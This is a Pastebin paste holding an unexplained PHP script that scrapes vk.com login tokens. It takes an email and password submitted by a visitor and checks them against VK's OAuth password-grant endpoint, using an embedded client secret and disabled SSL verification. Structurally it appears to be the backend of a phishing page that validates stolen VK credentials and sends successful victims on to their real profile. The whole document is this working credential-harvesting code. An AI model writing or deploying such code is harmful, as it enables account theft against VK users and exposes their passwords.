Advertisement
CloudeBitch

Untitled

Jun 17th, 2016
101
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.34 KB | None | 0 0
  1. <?php
  2.  
  3. ini_set('max_execution_time', 600);
  4.  
  5. function curl_get($host, $referer = null){
  6. $ch = curl_init();
  7.  
  8. curl_setopt($ch, CURLOPT_HEADER, 0);
  9. curl_setopt($ch, CURLOPT_REFERER, $referer);
  10. curl_setopt($ch, CURLOPT_USERAGENT, "Opera/9.80 (Windows NT 5.1; U; ru) Presto/2.9.168 Version/11.51");
  11. curl_setopt($ch, CURLOPT_URL, $host);
  12. curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  13. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  14. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
  15.  
  16. $html = curl_exec($ch);
  17. echo curl_error($ch);
  18. curl_close($ch);
  19. return $html;
  20. }
  21.  
  22. $result = curl_get("http://vk.com/");
  23. $data = array(
  24. "email" => $_POST['email'],
  25. "pass" => $_POST['pass']
  26. );
  27. preg_replace_callback('~<input type=\"hidden\" name=\"ip_h\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
  28. $data['ip_h'] = $pars[1];
  29. }, $result);
  30.  
  31. preg_replace_callback('~<input type=\"hidden\" name=\"lg_h\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
  32. $data['lg_h'] = $pars[1];
  33. }, $result);
  34.  
  35. preg_replace_callback('~<input type=\"hidden\" name=\"act\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
  36. $data['act'] = $pars[1];
  37. }, $result);
  38.  
  39. preg_replace_callback('~<input type=\"hidden\" name=\"role\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
  40. $data['role'] = $pars[1];
  41. }, $result);
  42.  
  43. preg_replace_callback('~<input type=\"hidden\" name=\"_origin\" value=\"(.*)\" />~sU', function ($pars) use (&$data) {
  44. $data['_origin'] = $pars[1];
  45. }, $result);
  46.  
  47.  
  48.  
  49. echo $data['ip_h'].'<br/>';
  50. echo $data['lg_h'].'<br/>';
  51. echo $data['act'].'<br/>';
  52. echo $data['role'].'<br/>';
  53. echo $data['_origin'].'<br/>';
  54. echo $data['email'].'<br/>';
  55. echo $data['pass'].'<br/>';
  56.  
  57.  
  58. if($data['pass'] || $data['email']) {
  59.  
  60. $url = json_decode(curl('https://oauth.vk.com/token?grant_type=password&client_id=2274003&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$data['email'].'&password='.$data['pass']), true);
  61. if($url['user_id']) {
  62. header('Location: http://vk.com/id'.$url['user_id']);
  63. } else {
  64. header( 'Refresh: 0; url=/error.html' );
  65. }
  66.  
  67. }
  68.  
  69.  
  70. function curl($url){
  71. $ch = curl_init($url);
  72. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  73. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
  74. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
  75. $response = curl_exec($ch);
  76. curl_close($ch);
  77. return $response;
  78. }
  79.  
  80. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement